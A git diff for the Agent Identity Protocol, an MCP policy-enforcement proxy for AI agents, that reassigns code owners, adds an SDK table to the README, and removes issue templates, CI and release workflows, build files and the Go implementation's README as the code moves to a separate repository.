diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index a16ff1a..14422e5 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -2,25 +2,15 @@ # https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners # Default owner for everything -* @ArangoGutierrez - -# Core proxy implementation -/proxy/cmd/ @ArangoGutierrez -/proxy/pkg/ @ArangoGutierrez - -# Policy engine (security-critical) -/proxy/pkg/policy/ @ArangoGutierrez - -# DLP scanner (security-critical) -/proxy/pkg/dlp/ @ArangoGutierrez +* @openagentidentityprotocol/OAIP-Collaborators # Security documentation -/SECURITY.md @ArangoGutierrez -/.github/SECURITY/ @ArangoGutierrez +/SECURITY.md @openagentidentityprotocol/OAIP-Collaborators +/.github/SECURITY/ @openagentidentityprotocol/OAIP-Collaborators # CI/CD configuration -/.github/workflows/ @ArangoGutierrez +/.github/workflows/ @openagentidentityprotocol/OAIP-Collaborators # Documentation -/docs/ @ArangoGutierrez -/README.md @ArangoGutierrez +/docs/ @openagentidentityprotocol/OAIP-Collaborators +/README.md @openagentidentityprotocol/OAIP-Collaborators \ No newline at end of file diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml deleted file mode 100644 index d7dee0b..0000000 --- a/.github/FUNDING.yml +++ /dev/null @@ -1,8 +0,0 @@ -# Funding options for Agent Identity Protocol -# https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository - -github: ArangoGutierrez -# ko_fi: # Your Ko-fi username -# patreon: # Your Patreon username -# open_collective: # Your Open Collective username -# custom: ["https://your-custom-link.com"] diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml deleted file mode 100644 index ad87bd1..0000000 --- a/.github/ISSUE_TEMPLATE/bug_report.yml +++ /dev/null @@ -1,132 +0,0 @@ -name: πŸ› Bug Report -description: Report a bug or unexpected behavior -title: "[Bug]: " -labels: ["bug", "needs-triage"] -assignees: [] - -body: - - type: markdown - attributes: - value: | - Thanks for taking the time to report a bug! Please fill out the sections below to help us diagnose the issue. - - - type: checkboxes - id: checklist - attributes: - label: Pre-submission Checklist - description: Please verify you've done the following - options: - - label: I have searched [existing issues](https://github.com/ArangoGutierrez/agent-identity-protocol/issues) to ensure this bug hasn't been reported - required: true - - label: I am using the latest version of AIP - required: true - - label: I have read the [documentation](https://github.com/ArangoGutierrez/agent-identity-protocol#readme) - required: true - - - type: textarea - id: description - attributes: - label: Bug Description - description: A clear and concise description of the bug - placeholder: What happened? What did you expect to happen? - validations: - required: true - - - type: textarea - id: reproduction - attributes: - label: Steps to Reproduce - description: Minimal steps to reproduce the behavior - placeholder: | - 1. Create policy file with... - 2. Run command... - 3. Send request... - 4. See error... - validations: - required: true - - - type: textarea - id: policy - attributes: - label: Policy File (agent.yaml) - description: If applicable, share your policy configuration (redact sensitive data) - render: yaml - placeholder: | - apiVersion: aip.io/v1alpha1 - kind: AgentPolicy - metadata: - name: my-policy - spec: - allowed_tools: - - list_files - - - type: textarea - id: logs - attributes: - label: Relevant Logs - description: Include any error messages or logs (run with `--verbose` for detailed output) - render: shell - placeholder: | - $ ./aip --policy agent.yaml --target "..." --verbose - [aip-proxy] ... - - - type: textarea - id: expected - attributes: - label: Expected Behavior - description: What should have happened? - validations: - required: true - - - type: dropdown - id: component - attributes: - label: Affected Component - description: Which part of AIP is affected? - options: - - Proxy Core - - Policy Engine - - DLP Scanner - - Human-in-the-Loop (UI Prompts) - - Audit Logging - - CLI / Flags - - Cursor Integration - - Documentation - - Other - validations: - required: true - - - type: input - id: version - attributes: - label: AIP Version - description: Output of `aip --version` or git commit hash - placeholder: v0.1.0 or commit abc1234 - validations: - required: true - - - type: dropdown - id: os - attributes: - label: Operating System - options: - - macOS (Apple Silicon) - - macOS (Intel) - - Linux (x86_64) - - Linux (ARM64) - - Windows - - Other - validations: - required: true - - - type: input - id: go-version - attributes: - label: Go Version (if building from source) - placeholder: go1.23.0 - - - type: textarea - id: additional - attributes: - label: Additional Context - description: Any other context, screenshots, or information that might help diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml deleted file mode 100644 index bc8d7b0..0000000 --- a/.github/ISSUE_TEMPLATE/config.yml +++ /dev/null @@ -1,11 +0,0 @@ -blank_issues_enabled: false -contact_links: - - name: πŸ’¬ GitHub Discussions - url: https://github.com/ArangoGutierrez/agent-identity-protocol/discussions - about: Ask questions and discuss ideas with the community - - name: πŸ”’ Security Vulnerabilities - url: https://github.com/ArangoGutierrez/agent-identity-protocol/security/advisories - about: Report security vulnerabilities privately (do NOT use issues) - - name: πŸ“– Documentation - url: https://github.com/ArangoGutierrez/agent-identity-protocol#readme - about: Read the documentation before opening an issue diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml deleted file mode 100644 index 1f1a5e3..0000000 --- a/.github/ISSUE_TEMPLATE/feature_request.yml +++ /dev/null @@ -1,108 +0,0 @@ -name: ✨ Feature Request -description: Suggest a new feature or enhancement -title: "[Feature]: " -labels: ["enhancement", "needs-triage"] -assignees: [] - -body: - - type: markdown - attributes: - value: | - Thanks for suggesting a feature! Please describe your idea below. - - - type: checkboxes - id: checklist - attributes: - label: Pre-submission Checklist - options: - - label: I have searched [existing issues](https://github.com/ArangoGutierrez/agent-identity-protocol/issues) to ensure this hasn't been requested - required: true - - label: I have read the [roadmap](https://github.com/ArangoGutierrez/agent-identity-protocol#roadmap) to check if this is planned - required: true - - - type: dropdown - id: category - attributes: - label: Feature Category - description: What area does this feature relate to? - options: - - Policy Engine (new rules, constraints) - - Security (authentication, authorization) - - DLP (data loss prevention) - - Human-in-the-Loop (approval workflows) - - Audit & Observability - - Integration (Cursor, VSCode, other IDEs) - - Kubernetes / Cloud Deployment - - CLI / UX Improvements - - SDK / Client Libraries - - Documentation - - Other - validations: - required: true - - - type: textarea - id: problem - attributes: - label: Problem Statement - description: What problem does this feature solve? What's your use case? - placeholder: | - As a [type of user], I want to [do something] so that [benefit]. - - Currently, I have to... which is problematic because... - validations: - required: true - - - type: textarea - id: solution - attributes: - label: Proposed Solution - description: How do you envision this feature working? - placeholder: | - I would like AIP to support... - - Example configuration: - ```yaml - spec: - new_feature: - enabled: true - ``` - validations: - required: true - - - type: textarea - id: alternatives - attributes: - label: Alternatives Considered - description: Have you considered any alternative solutions or workarounds? - placeholder: | - 1. Alternative A: ... - 2. Alternative B: ... - 3. Current workaround: ... - - - type: dropdown - id: priority - attributes: - label: Priority - description: How important is this feature to you? - options: - - Nice to have - - Important for my use case - - Blocking my adoption of AIP - validations: - required: true - - - type: checkboxes - id: contribution - attributes: - label: Contribution - description: Would you be willing to contribute this feature? - options: - - label: I would be willing to submit a PR for this feature - - label: I can help test this feature - - label: I can help write documentation for this feature - - - type: textarea - id: additional - attributes: - label: Additional Context - description: Any other context, mockups, or references that might help diff --git a/.github/ISSUE_TEMPLATE/security_report.yml b/.github/ISSUE_TEMPLATE/security_report.yml deleted file mode 100644 index 69fce76..0000000 --- a/.github/ISSUE_TEMPLATE/security_report.yml +++ /dev/null @@ -1,69 +0,0 @@ -name: πŸ”’ Security Concern -description: Report a security concern (NOT for vulnerabilities - see SECURITY.md) -title: "[Security]: " -labels: ["security", "needs-triage"] -assignees: [] - -body: - - type: markdown - attributes: - value: | - ⚠️ **IMPORTANT**: Do NOT use this form for security vulnerabilities! - - For vulnerabilities, please follow our [Security Policy](https://github.com/ArangoGutierrez/agent-identity-protocol/blob/main/SECURITY.md) and report privately. - - This form is for: - - Security hardening suggestions - - Questions about security architecture - - Requests for security documentation - - Compliance-related questions - - - type: checkboxes - id: not-vulnerability - attributes: - label: Confirmation - options: - - label: This is NOT a security vulnerability (those should be reported via SECURITY.md) - required: true - - label: I have read the [SECURITY.md](https://github.com/ArangoGutierrez/agent-identity-protocol/blob/main/SECURITY.md) file - required: true - - - type: dropdown - id: type - attributes: - label: Type of Security Concern - options: - - Security hardening suggestion - - Threat model question - - Compliance inquiry (SOC2, GDPR, HIPAA, etc.) - - Security documentation request - - Configuration best practices - - Other security-related question - validations: - required: true - - - type: textarea - id: description - attributes: - label: Description - description: Describe your security concern or question - placeholder: | - I'm wondering about the security implications of... - - Or: I suggest hardening X by doing Y because... - validations: - required: true - - - type: textarea - id: context - attributes: - label: Use Case / Context - description: Help us understand your security requirements - placeholder: | - We're deploying AIP in a [environment] with [requirements]... - - - type: textarea - id: additional - attributes: - label: Additional Context - description: Any references, compliance requirements, or other relevant information diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 3ce39e1..1245bac 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -10,14 +10,9 @@ -- [ ] πŸ› Bug fix (non-breaking change that fixes an issue) - [ ] ✨ New feature (non-breaking change that adds functionality) -- [ ] πŸ’₯ Breaking change (fix or feature that would cause existing functionality to change) - [ ] πŸ“ Documentation update -- [ ] πŸ”§ Configuration change -- [ ] ♻️ Refactoring (no functional changes) -- [ ] πŸ§ͺ Test improvement -- [ ] πŸ”’ Security fix + ## Changes Made @@ -27,24 +22,6 @@ - - -## Testing - - - -- [ ] Unit tests added/updated -- [ ] Manual testing performed -- [ ] Tested with real MCP server -- [ ] Tested policy enforcement - -### Test Commands - -```bash -# Commands used to test -cd proxy -make test -make build -./bin/aip --policy examples/agent.yaml --target "python3 test/echo_server.py" --verbose -``` ## Policy Impact @@ -54,20 +31,11 @@ make build - [ ] New policy feature (describe below) - [ ] Policy behavior change (describe migration path) -## Security Checklist - - -- [ ] No new dependencies with known vulnerabilities -- [ ] No secrets or credentials in code -- [ ] Audit logging maintained for new operations -- [ ] Input validation added for new parameters -- [ ] Documentation updated for security implications ## Documentation - [ ] README updated (if needed) -- [ ] Code comments added for complex logic - [ ] Example configurations updated - [ ] CHANGELOG entry added (for user-facing changes) @@ -75,16 +43,8 @@ make build -## Checklist - -- [ ] My code follows the project's code style (`make lint` passes) -- [ ] I have performed a self-review of my code -- [ ] I have commented my code, particularly in hard-to-understand areas -- [ ] My changes generate no new warnings -- [ ] New and existing unit tests pass locally (`make test`) -- [ ] Any dependent changes have been merged and published --- -/cc @ArangoGutierrez +/cc @ArangoGutierrez @yungcero diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md deleted file mode 100644 index cb7cac9..0000000 --- a/.github/copilot-instructions.md +++ /dev/null @@ -1,132 +0,0 @@ -# GitHub Copilot Instructions for AIP - -This document provides context for GitHub Copilot when working on the Agent Identity Protocol codebase. - -## Project Overview - -AIP (Agent Identity Protocol) is a **zero-trust security layer for AI agents**. It provides: - -1. **Policy Enforcement Proxy**: Intercepts MCP (Model Context Protocol) tool calls -2. **Manifest-Driven Security**: Declarative YAML policies define what agents can do -3. **Human-in-the-Loop**: Native OS prompts for sensitive operations -4. **DLP (Data Loss Prevention)**: Redacts sensitive data in tool responses -5. **Audit Logging**: Immutable JSONL logs for compliance - -## Architecture - -``` -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ MCP Client │────▢│ AIP Proxy │────▢│ MCP Server β”‚ -β”‚ (Agent) │◀────│ Policy Engine │◀────│ (Subprocess) β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -``` - -The proxy is a **stdin/stdout passthrough** that: -- Reads JSON-RPC from stdin (client requests) -- Checks `tools/call` requests against policy -- Forwards allowed requests to subprocess -- Returns errors for blocked requests -- Scans responses for sensitive data (DLP) -- Logs all decisions to audit file - -## Code Style - -### Go Guidelines - -- **Format**: Always run `gofmt -s -w .` -- **Imports**: Standard library first, then external, then internal -- **Errors**: Wrap with context using `fmt.Errorf("context: %w", err)` -- **Logging**: - - `logger` (stderr) for operational logs - - `auditLogger` (file) for audit trail - - **NEVER** write to stdout except JSON-RPC responses - -### Critical Constraints - -1. **stdout is sacred**: Only JSON-RPC messages go to stdout -2. **Fail-closed**: Unknown operations = deny -3. **Zero-trust**: Every tool call is checked, no implicit permissions - -## Key Files - -| Path | Purpose | -|------|---------| -| `implementations/go-proxy/cmd/aip-proxy/main.go` | Entry point, proxy logic | -| `implementations/go-proxy/pkg/policy/engine.go` | Policy loading and evaluation | -| `implementations/go-proxy/pkg/dlp/scanner.go` | DLP regex scanning | -| `implementations/go-proxy/pkg/audit/logger.go` | JSONL audit logging | -| `implementations/go-proxy/pkg/ui/prompt.go` | Native OS dialogs | -| `implementations/go-proxy/pkg/protocol/types.go` | JSON-RPC types | - -## Common Tasks - -### Adding a New Policy Feature - -1. Update `implementations/go-proxy/pkg/policy/engine.go` with new evaluation logic -2. Update policy types in the same file -3. Add tests in `engine_test.go` -4. Update example policies in `implementations/go-proxy/examples/` -5. Document in README or docs/ - -### Adding a New CLI Flag - -1. Add flag definition in `parseFlags()` in `main.go` -2. Update usage message -3. Add handling logic -4. Update README with new flag - -### Adding DLP Pattern - -1. Patterns are defined in policy YAML under `spec.dlp.patterns` -2. Test regex in `dlp/scanner_test.go` -3. Add example to `implementations/go-proxy/examples/agent.yaml` - -## Testing - -```bash -cd proxy -make test # Run all tests -make lint # Lint checks -make build # Build binary -make run-demo # Test with echo server -``` - -## Policy YAML Structure - -```yaml -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: policy-name -spec: - mode: enforce | monitor - allowed_tools: - - tool_name - tool_rules: - - tool: tool_name - action: allow | block | ask - allow_args: - arg_name: "regex_pattern" - dlp: - patterns: - - name: "Pattern Name" - regex: "pattern" -``` - -## Security Considerations - -When writing code for AIP: - -1. **Input Validation**: Always validate policy YAML fields -2. **Regex Safety**: Use timeouts for regex evaluation (DoS prevention) -3. **Memory Safety**: Don't hold sensitive data longer than needed -4. **Audit Trail**: Log security-relevant decisions -5. **Error Messages**: Don't leak internal paths or secrets - -## MCP Protocol - -AIP speaks JSON-RPC over stdio. Key methods: - -- `tools/call` - Agent invokes a tool (intercepted by AIP) -- `tools/list` - List available tools (passthrough) -- Other methods - Passed through without policy check diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 402b342..6ac11a1 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -4,31 +4,6 @@ version: 2 updates: - # Go modules (proxy) - - package-ecosystem: "gomod" - directory: "/proxy" - schedule: - interval: "weekly" - day: "monday" - time: "09:00" - timezone: "America/Los_Angeles" - open-pull-requests-limit: 10 - commit-message: - prefix: "deps(go)" - labels: - - "dependencies" - - "go" - reviewers: - - "ArangoGutierrez" - groups: - # Group minor and patch updates together - go-minor-patch: - patterns: - - "*" - update-types: - - "minor" - - "patch" - # GitHub Actions - package-ecosystem: "github-actions" directory: "/" @@ -45,6 +20,7 @@ updates: - "github-actions" reviewers: - "ArangoGutierrez" + - "yungcero" groups: actions-all: patterns: diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml deleted file mode 100644 index ea4bf99..0000000 --- a/.github/workflows/ci.yml +++ /dev/null @@ -1,118 +0,0 @@ -# CI Pipeline for Agent Identity Protocol -# -# Runs on every push and PR to ensure code quality: -# - Build verification -# - Unit tests with coverage -# - Linting (go vet, staticcheck) -# - Security scanning (govulncheck) - -name: CI - -on: - push: - branches: [main] - pull_request: - branches: [main] - -permissions: - contents: read - -env: - GO_VERSION: "1.25" - -jobs: - build: - name: Build - runs-on: ubuntu-latest - steps: - - name: Checkout code - uses: actions/checkout@v6 - - - name: Set up Go - uses: actions/setup-go@v6 - with: - go-version: ${{ env.GO_VERSION }} - cache-dependency-path: implementations/go-proxy/go.sum - - - name: Build - working-directory: implementations/go-proxy - run: make build - - - name: Verify binary exists - run: test -f implementations/go-proxy/bin/aip - - test: - name: Test - runs-on: ubuntu-latest - steps: - - name: Checkout code - uses: actions/checkout@v6 - - - name: Set up Go - uses: actions/setup-go@v6 - with: - go-version: ${{ env.GO_VERSION }} - cache-dependency-path: implementations/go-proxy/go.sum - - - name: Run tests - working-directory: implementations/go-proxy - run: go test -v -race -coverprofile=coverage.out -covermode=atomic ./... - - - name: Upload coverage - uses: codecov/codecov-action@v5 - with: - files: implementations/go-proxy/coverage.out - flags: unittests - fail_ci_if_error: false - - lint: - name: Lint - runs-on: ubuntu-latest - steps: - - name: Checkout code - uses: actions/checkout@v6 - - - name: Set up Go - uses: actions/setup-go@v6 - with: - go-version: ${{ env.GO_VERSION }} - cache-dependency-path: implementations/go-proxy/go.sum - - - name: Run go vet - working-directory: implementations/go-proxy - run: go vet ./... - - - name: Check formatting - working-directory: implementations/go-proxy - run: | - if [ -n "$(gofmt -l .)" ]; then - echo "Code is not formatted. Run 'gofmt -w .'" - gofmt -d . - exit 1 - fi - - - name: Run golangci-lint - uses: golangci/golangci-lint-action@v9 - with: - version: latest - working-directory: implementations/go-proxy - args: --timeout=5m - - security: - name: Security Scan - runs-on: ubuntu-latest - steps: - - name: Checkout code - uses: actions/checkout@v6 - - - name: Set up Go - uses: actions/setup-go@v6 - with: - go-version: ${{ env.GO_VERSION }} - cache-dependency-path: implementations/go-proxy/go.sum - - - name: Run govulncheck - working-directory: implementations/go-proxy - run: | - go install golang.org/x/vuln/cmd/govulncheck@latest - govulncheck ./... diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml deleted file mode 100644 index 4fac3d2..0000000 --- a/.github/workflows/codeql.yml +++ /dev/null @@ -1,54 +0,0 @@ -# CodeQL Security Analysis -# -# Performs semantic code analysis to find security vulnerabilities. -# Results appear in GitHub Security tab. -# -# Documentation: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql - -name: "CodeQL" - -on: - push: - branches: [main] - pull_request: - branches: [main] - schedule: - # Run weekly on Monday at 6:00 UTC - - cron: '0 6 * * 1' - -jobs: - analyze: - name: Analyze - runs-on: ubuntu-latest - permissions: - actions: read - contents: read - security-events: write - - strategy: - fail-fast: false - matrix: - language: ['go'] - - steps: - - name: Checkout repository - uses: actions/checkout@v6 - - - name: Initialize CodeQL - uses: github/codeql-action/init@v4 - with: - languages: ${{ matrix.language }} - # Use extended security queries for more comprehensive analysis - queries: +security-extended - - - name: Autobuild - uses: github/codeql-action/autobuild@v4 - - - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v4 - with: - category: "/language:${{ matrix.language }}" - # Don't fail the workflow if upload fails (code scanning may not be enabled) - # To enable: Settings β†’ Code security and analysis β†’ Code scanning - upload: always - continue-on-error: true diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml deleted file mode 100644 index 69a0625..0000000 --- a/.github/workflows/release.yml +++ /dev/null @@ -1,70 +0,0 @@ -# Release Pipeline for Agent Identity Protocol -# -# Triggers on version tags (v*) and creates: -# - Cross-platform binaries (Linux, macOS, Windows) -# - GitHub Release with changelog -# - Homebrew formula (future) - -name: Release - -on: - push: - tags: - - "v*" - -permissions: - contents: write - -env: - GO_VERSION: "1.25" - -jobs: - release: - name: Build and Release - runs-on: ubuntu-latest - steps: - - name: Checkout code - uses: actions/checkout@v6 - with: - fetch-depth: 0 - - - name: Set up Go - uses: actions/setup-go@v6 - with: - go-version: ${{ env.GO_VERSION }} - cache-dependency-path: implementations/go-proxy/go.sum - - - name: Run tests before release - working-directory: implementations/go-proxy - run: go test -v ./... - - - name: Run GoReleaser - uses: goreleaser/goreleaser-action@v6 - with: - distribution: goreleaser - version: "~> v2" - args: release --clean - workdir: implementations/go-proxy - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - - verify-release: - name: Verify Release Artifacts - needs: release - runs-on: ubuntu-latest - steps: - - name: Download release artifacts - run: | - gh release download ${{ github.ref_name }} \ - --repo ${{ github.repository }} \ - --pattern "*.tar.gz" \ - --dir ./artifacts - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - - - name: Verify checksums - run: | - cd artifacts - if [ -f checksums.txt ]; then - sha256sum -c checksums.txt - fi diff --git a/README.md b/README.md index 2840849..d768367 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,8 @@ Hacker News

+> **Implementations:** [Go](https://github.com/openagentidentityprotocol/aip-go) + --- ## What is AIP? @@ -340,6 +342,16 @@ We're building a **standard**, not just a tool. --- +## SDKs & Implementations + +| Language | Repository | Status | +| --- | --- | --- | +| **Go** | [aip-go](https://github.com/openagentidentityprotocol/aip-go) | βœ… Stable | +| **Rust** | [aip-rust](https://github.com/openagentidentityprotocol/aip-rust) | 🚧 Coming Soon | + +Want to build an AIP implementation in another language? See [CONTRIBUTING.md](./CONTRIBUTING.md). + + ## Contributing AIP is an open specification. We welcome: diff --git a/implementations/go-proxy/.goreleaser.yaml b/implementations/go-proxy/.goreleaser.yaml deleted file mode 100644 index 2819882..0000000 --- a/implementations/go-proxy/.goreleaser.yaml +++ /dev/null @@ -1,139 +0,0 @@ -# GoReleaser configuration for AIP -# https://goreleaser.com/customization/ - -version: 2 - -project_name: aip - -before: - hooks: - - go mod tidy - - go generate ./... - -builds: - - id: aip - main: ./cmd/aip-proxy - binary: aip - env: - - CGO_ENABLED=0 - goos: - - linux - - darwin - - windows - goarch: - - amd64 - - arm64 - ldflags: - - -s -w - - -X main.version={{.Version}} - - -X main.commit={{.Commit}} - - -X main.date={{.Date}} - -archives: - - id: default - formats: - - tar.gz - format_overrides: - - goos: windows - formats: - - zip - name_template: >- - {{ .ProjectName }}_ - {{- .Version }}_ - {{- .Os }}_ - {{- .Arch }} - files: - - README.md - - examples/* - -checksum: - name_template: "checksums.txt" - algorithm: sha256 - -snapshot: - version_template: "{{ .Tag }}-next" - -changelog: - sort: asc - use: github - filters: - exclude: - - "^docs:" - - "^test:" - - "^ci:" - - "^chore:" - - Merge pull request - - Merge branch - groups: - - title: "πŸš€ Features" - regexp: '^.*?feat(\([[:word:]]+\))??!?:.+$' - order: 0 - - title: "πŸ› Bug Fixes" - regexp: '^.*?fix(\([[:word:]]+\))??!?:.+$' - order: 1 - - title: "πŸ”’ Security" - regexp: '^.*?sec(\([[:word:]]+\))??!?:.+$' - order: 2 - - title: "πŸ“¦ Dependencies" - regexp: '^.*?deps(\([[:word:]]+\))??!?:.+$' - order: 3 - - title: "πŸ”§ Other" - order: 999 - -release: - github: - owner: ArangoGutierrez - name: agent-identity-protocol - draft: false - prerelease: auto - mode: replace - header: | - ## AIP {{ .Tag }} - - The Agent Identity Protocol proxy - **"Sudo for AI Agents"** - - ### Installation - - **macOS (Apple Silicon)** - ```bash - curl -LO https://github.com/ArangoGutierrez/agent-identity-protocol/releases/download/{{ .Tag }}/aip_{{ .Version }}_darwin_arm64.tar.gz - tar xzf aip_{{ .Version }}_darwin_arm64.tar.gz - sudo mv aip /usr/local/bin/ - ``` - - **macOS (Intel)** - ```bash - curl -LO https://github.com/ArangoGutierrez/agent-identity-protocol/releases/download/{{ .Tag }}/aip_{{ .Version }}_darwin_amd64.tar.gz - tar xzf aip_{{ .Version }}_darwin_amd64.tar.gz - sudo mv aip /usr/local/bin/ - ``` - - **Linux (x86_64)** - ```bash - curl -LO https://github.com/ArangoGutierrez/agent-identity-protocol/releases/download/{{ .Tag }}/aip_{{ .Version }}_linux_amd64.tar.gz - tar xzf aip_{{ .Version }}_linux_amd64.tar.gz - sudo mv aip /usr/local/bin/ - ``` - footer: | - --- - - **Full Changelog**: https://github.com/ArangoGutierrez/agent-identity-protocol/compare/{{ .PreviousTag }}...{{ .Tag }} - - **Documentation**: https://github.com/ArangoGutierrez/agent-identity-protocol#readme - -# Homebrew tap publishing - disabled until homebrew-tap repo is created -# brews: -# - name: aip -# repository: -# owner: ArangoGutierrez -# name: homebrew-tap -# token: "{{ .Env.HOMEBREW_TAP_TOKEN }}" -# skip_upload: auto -# directory: Formula -# homepage: https://github.com/ArangoGutierrez/agent-identity-protocol -# description: "Agent Identity Protocol - Zero-trust security for AI agents" -# license: Apache-2.0 -# test: | -# system "#{bin}/aip", "--help" -# install: | -# bin.install "aip" diff --git a/implementations/go-proxy/Makefile b/implementations/go-proxy/Makefile deleted file mode 100644 index bc90cb7..0000000 --- a/implementations/go-proxy/Makefile +++ /dev/null @@ -1,86 +0,0 @@ -# AIP Proxy - Build System -# -# Usage: -# make build - Build the aip binary -# make test - Run all unit tests -# make clean - Remove build artifacts and logs -# make run-demo - Run proxy in monitor mode with echo target -# make lint - Run go vet and formatting check -# make help - Show this help message - -.PHONY: build test clean run-demo lint help - -# Build configuration -BINARY_NAME := aip -BINARY_DIR := bin -MAIN_PATH := ./cmd/aip-proxy -GO := go - -# Default target -all: build - -## build: Compile the aip binary to bin/ -build: - @mkdir -p $(BINARY_DIR) - $(GO) build -o $(BINARY_DIR)/$(BINARY_NAME) $(MAIN_PATH) - @echo "Built: $(BINARY_DIR)/$(BINARY_NAME)" - -## test: Run all unit tests with verbose output -test: - $(GO) test -v ./... - -## test-coverage: Run tests with coverage report -test-coverage: - $(GO) test -v -coverprofile=coverage.out ./... - $(GO) tool cover -html=coverage.out -o coverage.html - @echo "Coverage report: coverage.html" - -## clean: Remove build artifacts, logs, and coverage files -clean: - rm -rf $(BINARY_DIR) - rm -f aip-audit.jsonl - rm -f coverage.out coverage.html - @echo "Cleaned build artifacts and logs" - -## run-demo: Run the proxy in monitor mode with a simple target -run-demo: build - @echo "Running AIP proxy in monitor mode..." - @echo "Target: 'echo Hello from MCP server'" - @echo "Policy: examples/monitor-mode.yaml" - @echo "---" - $(BINARY_DIR)/$(BINARY_NAME) \ - --policy examples/monitor-mode.yaml \ - --target "echo Hello from MCP server" \ - --verbose - -## run-interactive: Run with Python echo server for interactive testing -run-interactive: build - @echo "Starting interactive test with Python echo server..." - $(BINARY_DIR)/$(BINARY_NAME) \ - --policy test/agent.yaml \ - --target "python3 test/echo_server.py" \ - --verbose - -## lint: Run go vet and check formatting -lint: - $(GO) vet ./... - @test -z "$$(gofmt -l .)" || (echo "Run 'gofmt -w .' to fix formatting" && exit 1) - @echo "Lint passed" - -## fmt: Format all Go files -fmt: - $(GO) fmt ./... - -## generate-config: Generate Cursor MCP configuration -generate-config: build - @echo "Generate Cursor config with:" - @echo " $(BINARY_DIR)/$(BINARY_NAME) --generate-cursor-config --policy " - -## help: Show this help message -help: - @echo "AIP Proxy - Build System" - @echo "" - @echo "Usage: make [target]" - @echo "" - @echo "Targets:" - @grep -E '^## ' $(MAKEFILE_LIST) | sed 's/## / /' diff --git a/implementations/go-proxy/README.md b/implementations/go-proxy/README.md deleted file mode 100644 index d832737..0000000 --- a/implementations/go-proxy/README.md +++ /dev/null @@ -1,177 +0,0 @@ -# AIP Go Proxy - -The reference implementation of the [Agent Identity Protocol](../../spec/aip-v1alpha1.md) β€” a policy enforcement proxy for MCP (Model Context Protocol). - -**"Sudo for AI Agents"** - -## Features - -- **Tool allowlist enforcement** β€” Only permitted tools can be called -- **Argument validation** β€” Regex patterns for tool parameters -- **Human-in-the-Loop** β€” Native OS dialogs for sensitive operations -- **DLP scanning** β€” Redact secrets from tool responses -- **Audit logging** β€” Immutable JSONL trail of all decisions -- **Monitor mode** β€” Test policies without enforcement - -### v1alpha2 Features (New) - -- **Identity tokens** β€” Cryptographic session identity with automatic rotation -- **Server-side validation** β€” HTTP endpoints for distributed policy enforcement -- **Policy signatures** β€” Ed25519 signatures for policy integrity -- **Prometheus metrics** β€” `/metrics` endpoint for observability - -## Quick Start - -### Install - -```bash -# Quick install with Go -go install github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/cmd/aip-proxy@latest - -# Or from source -git clone https://github.com/ArangoGutierrez/agent-identity-protocol.git -cd agent-identity-protocol/implementations/go-proxy -make build -./bin/aip --help -``` - -### Create a Policy - -```yaml -# policy.yaml -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: my-policy -spec: - mode: enforce - allowed_tools: - - read_file - - list_directory - tool_rules: - - tool: write_file - action: ask # Require approval - - tool: exec_command - action: block # Never allow -``` - -### v1alpha2 Policy with Identity & Server - -```yaml -# policy-v1alpha2.yaml -apiVersion: aip.io/v1alpha2 -kind: AgentPolicy -metadata: - name: enterprise-agent -spec: - allowed_tools: - - read_file - - write_file - identity: - enabled: true - token_ttl: "10m" - rotation_interval: "8m" - require_token: true - session_binding: "strict" - server: - enabled: true - listen: "127.0.0.1:9443" - # tls: - # cert: "/etc/aip/cert.pem" - # key: "/etc/aip/key.pem" -``` - -### Run - -```bash -# Wrap any MCP server with policy enforcement -./bin/aip --policy policy.yaml --target "npx @modelcontextprotocol/server-filesystem /tmp" - -# Verbose mode for debugging -./bin/aip --policy policy.yaml --target "python mcp_server.py" --verbose -``` - -### Integrate with Cursor - -```bash -# Generate Cursor config -./bin/aip --generate-cursor-config \ - --policy /path/to/policy.yaml \ - --target "your-mcp-server-command" -``` - -Add the output to `~/.cursor/mcp.json`. - -## CLI Reference - -| Flag | Description | Default | -|------|-------------|---------| -| `--target` | MCP server command to wrap (required) | β€” | -| `--policy` | Path to policy YAML file | `agent.yaml` | -| `--audit` | Path to audit log file | `aip-audit.jsonl` | -| `--verbose` | Enable detailed logging to stderr | `false` | -| `--generate-cursor-config` | Output Cursor IDE config JSON | `false` | - -## 